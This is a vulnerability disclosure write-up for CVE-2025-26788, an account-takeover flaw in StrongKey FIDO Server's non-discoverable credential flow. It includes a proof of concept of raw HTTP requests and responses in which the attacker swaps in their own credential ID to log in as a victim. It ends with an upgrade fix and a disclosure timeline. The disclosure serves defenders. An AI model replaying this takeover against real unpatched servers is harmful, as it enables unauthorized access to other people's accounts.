CVE-2025-26788: Passkey Authentication Bypass in StrongKey FIDO Server
A vulnerability in the StrongKey FIDO Server Non-Discoverable Credential Authentication flow allowed to take over an account of any user.

During a recent penetration test, I found a significant vulnerability in a passkey integration, which utilized StrongKey FIDO Server. In this article, I would like to share the details of this discovery.
Overview of CVE-2025-26788Â
StrongKey FIDO Server (SKFS) is an open-source FIDO® Certified server implementation of the FIDO authentication protocol, generally recognized as passkeys.
The issue was discovered in SKFS 4.10.0 through 4.15.0. It allows to take over an account of any user registered in SKFS due to a flaw in the non-discoverable credential authentication flow.
Connect with the author on LinkedIn!

CVE-2025-26788: In-depth analysis
I won’t focus on the technical details of passkey authentication—if you’re interested in this topic, take a look at my latest article about passkeys:
There are two types of WebAuthn credentials: discoverable (passkeys) and non-discoverable. Passkeys are meant to provide seamless user experience with maximum security and phishing resistance. It means that the user should be able to log in using their passkey only, without providing a username. The discoverable credentials flow basically looks like this:

However, since using discoverable credentials might not always be possible, non-discoverable WebAuthn credentials need to be supported as well.

Since version 4.10.0, the StrongKey FIDO Server started supporting both discoverable and non-discoverable credentials. However, this change introduced a vulnerability, in which the server failed to distinguish between these two processes. As a result, it was possible to start the flow using someone else’s username, get the challenge, and then sign it using your own passkey, subsequently gaining access to the victim’s account.

CVE-2025-26788: Proof of Concept
I installed the StrongKey FIDO Server 4.15.0 (download) along with a sample application.
Then, I registered two users:
Username | Credential ID |
attacker | dlGgarbmdI2MAKYjwhB5IcI7gEA |
victim | LwgflRjXCJtnto-3i73zdz705Hs |
The goal is to log in to the victim’s account with the attacker’s credentials.
I started the preauthentication process. The HTTP request:
POST /basicdemo/fido2/preauthenticate HTTP/2
Host: sk.local:8181
Cookie: JSESSIONID=828e4fffb91a641787bf47c5090c
Content-Length: 19
[...]
{
"username": "victim"
}
The HTTP response includes the victim’s credential ID:
HTTP/2 200 OK
Set-Cookie: JSESSIONID=82947c3e5f32ac1e6579f6287fa0; Path=/basicdemo; Secure
Content-Type: application/json
Content-Length: 379
{
"Response": {
"Response": {
"challenge": "7o196yWZG1DxbbOWqC9P2w",
"allowCredentials": [
{
"type": "public-key",
"id": "LwgflRjXCJtnto-3i73zdz705Hs",
"alg": -7
}
],
"rpId": "sk.local"
},
"responseCode": "FIDO-MSG-0006",
"skfsVersion": "4.15.0",
"registrationVersion": "4.15.0",
"skfsFQDN": "sk.local",
"TXID": "1-1-86-1737719629730"
},
"Message": "",
"Error": "False"
}
I intercepted the above HTTP response in my proxy and changed the credential ID to one of the attacker’s:
HTTP/2 200 OK
Set-Cookie: JSESSIONID=82947c3e5f32ac1e6579f6287fa0; Path=/basicdemo; Secure
Content-Type: application/json
Content-Length: 379
{
"Response": {
"Response": {
"challenge": "7o196yWZG1DxbbOWqC9P2w",
"allowCredentials": [
{
"type": "public-key",
"id": "dlGgarbmdI2MAKYjwhB5IcI7gEA",
"alg": -7
}
],
"rpId": "sk.local"
},
"responseCode": "FIDO-MSG-0006",
"skfsVersion": "4.15.0",
"registrationVersion": "4.15.0",
"skfsFQDN": "sk.local",
"TXID": "1-1-86-1737719629730"
},
"Message": "",
"Error": "False"
}
Then, I authenticated using the attacker’s passkey:
POST /basicdemo/fido2/authenticate HTTP/2
Host: sk.local:8181
Cookie: JSESSIONID=82947c3e5f32ac1e6579f6287fa0
[...]
{
"id": "dlGgarbmdI2MAKYjwhB5IcI7gEA",
"rawId": "dlGgarbmdI2MAKYjwhB5IcI7gEA",
"response": {
"authenticatorData": "YQDcS1lqnGYxZvGSjyLCsmKDLC1utMT_2ZCO9LrF9o8dAAAAAA",
"signature": "MEUCIQCg6BB6lnSYDTAR5ZIG31Is7o1b08ereGMQaeX0iU_QEAIgDBqe955WmCXWe1h9GbHUmw8vsnqJ7WfE2DzgAL4S2yw",
"userHandle": "VoU6urxzV5KkLjQr-E4eHBunNrdREr_8nFswHc33YzQ",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiZ19nQXJzX1dfNzI1eUZQNl9NcUtZdyIsIm9yaWdpbiI6Imh0dHBzOi8vc2subG9jYWw6ODE4MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0"
},
"type": "public-key"
}
The HTTP response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 90
{
"Response": "Successfully processed authentication response",
"Message": "",
"Error": "False"
}
I was successfully logged in to the victim’s account:
POST /basicdemo/fido2/isLoggedIn HTTP/2
Host: sk.local:8181
Cookie: JSESSIONID=82947c3e5f32ac1e6579f6287fa0
[...]
The HTTP response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 48
{
"Response": "victim",
"Message": "",
"Error": "False"
}
CVE-2025-26788: Remediations
Update the StrongKey FIDO Server to version 4.15.1.
Disclosure timeline
2025-01-24: The vulnerability was discovered and reported to StrongKey.
2025-02-03: A new version of the StrongKey FIDO Server was released.
2025-02-14: The CVE-2025-26788 was published.
References
- StrongKey FIDO Server 4.15.1: Release Notes
- Yubico: Discoverable vs non-discoverable credentials
- StrongKey Demo: Discoverable Credentials
- StrongKey Demo: Non-discoverable Credentials
Acknowledgements
Thanks to Jakub Korepta for helping me set up the infrastructure to check for the vulnerability in different versions of SKFS. Dealing with old dependencies can be a real challenge!
Connect with the author on LinkedIn!

